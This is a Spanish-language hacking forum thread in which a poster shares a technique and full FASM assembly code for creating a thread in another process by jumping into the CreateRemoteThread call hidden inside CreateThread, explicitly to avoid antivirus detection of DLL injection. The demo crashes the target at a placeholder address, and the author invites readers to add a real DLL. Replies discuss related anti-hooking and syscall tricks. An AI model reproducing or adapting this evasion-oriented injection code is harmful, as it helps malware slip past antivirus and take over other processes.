El ejemplo no injectara ninguna dll, simplemente el proceso victima intentara ejecutar una direccion invalida y se cerrara, el que quiera meter una dll que haga el las modificaciones a su gusto.
Siempre esta el problema de querer usar CreateRemoteThread en una aplicacion (no malware precisamente) y los antivirus suelen marcar ya el programa como peligroso. ahora bien, CreateThread no es detectado como algo peligroso, pero ¿quien es realmente CreateThread?. Esta funcion es un wrapper, alias o como quieras llamarlo de CreateRemoteThread, aceptando 1 parametro menos ya que si se desensambla la funcion se ve claramente que dentro de esta marca el handle del proceso a -1, o lo que es lo mismo a el proceso que a llamado a la funcion. La cosa es simple, necesitamos un puntero a CreateThread y buscar el call a CreateRemoteThread dentro de la funcion, meter los parametros de la funcion en la pila y hacer un jmp a dicho call. de este modo se a injectado la dll "sin" tener que usar la maldita funcion.
El codigo es una chorrada, es expresamente para poner un ejemplo de la idea en codigo. a la hora de usarlo en una aplicacion real se tienen que tener algunas cosas en cuenta.
format PE GUI 4.0
entry Main
include 'win32a.inc'
section '.data' data readable writeable
cPtr dd 0
section '.idata' import data readable writeable
library kernel32,'KERNEL32.DLL',\
user32,'USER32.DLL'
include 'api\kernel32.inc'
include 'api\user32.inc'
section '.text' code readable writeable executable
Main:
push 0
push 0
push 0
push InjectaDll
push 0
push 0
call [CreateThread]
push 6h ;Esto es solo para la prueba.
call [Sleep]
push 0
call [ExitProcess]
proc InjectaDll
push edi
mov eax,0E8h
mov edi,dword [CreateThread]
S:
repne scasb
jnz S
dec edi
mov [cPtr],edi
pop edi
push 3532 ;Process Id
push 1
push PROCESS_ALL_ACCESS
call [OpenProcess]
or eax,eax
jz Fin
push 0
push 0
push 0
push 41414141h
push 0
push 0
push eax
jmp [cPtr] ;CreateRemoteThread
Fin:
; En caso de error
endp
Muy ingenioso :D ;)
Algo parecido había hecho/estoy haciendo para el Corewar y evitar ser hookeado, aunque no exactamente lo mismo. Bien pensado :P.
Saludos
Cita de: Hacker_Zero en 15 Mayo 2010, 15:17 PM
Algo parecido había hecho/estoy haciendo para el Corewar y evitar ser hookeado, aunque no exactamente lo mismo. Bien pensado :P.
Saludos
:xD esto no se parece en nada al metodo que vas a utilizar.
Cita de: Lord R.N.A. en 15 Mayo 2010, 16:53 PM
:xD esto no se parece en nada al metodo que vas a utilizar.
Por lo visto sabes demasiado.... Tu también participas o que? :xD
Cita de: Lord R.N.A. en 15 Mayo 2010, 16:53 PM
Cita de: Hacker_Zero en 15 Mayo 2010, 15:17 PM
Algo parecido había hecho/estoy haciendo para el Corewar y evitar ser hookeado, aunque no exactamente lo mismo. Bien pensado :P.
Saludos
:xD esto no se parece en nada al metodo que vas a utilizar.
Lo cambié :P. Aunque el otro día se me ocurrió como saltarmelo como si nada, pero ya idee otro plan que aún no puse en práctica...
Bueno, basicamente utilizo la int 2Eh para hacer algunas cosas y luego que me permitan hacer otras, y luego un chisme hacindo cosas, ni digo más hasta que lo publique :xD.
Saludos
Cita de: Karcrack en 15 Mayo 2010, 18:10 PM
Cita de: Lord R.N.A. en 15 Mayo 2010, 16:53 PM
:xD esto no se parece en nada al metodo que vas a utilizar.
Por lo visto sabes demasiado.... Tu también participas o que? :xD
xD hace semanas que postee mi renuncia... antes del ban
También se puede buscar la dirección relativa de CreateRemoteThread en la tabla de exportaciones de kernel32.dll
si, pero la finalidad es no hacer referencia alguna en el codigo a esta funcion y hacerlo facil. se puede crear un thread en otro proceso sin pasar por esta funcion en ningun momento.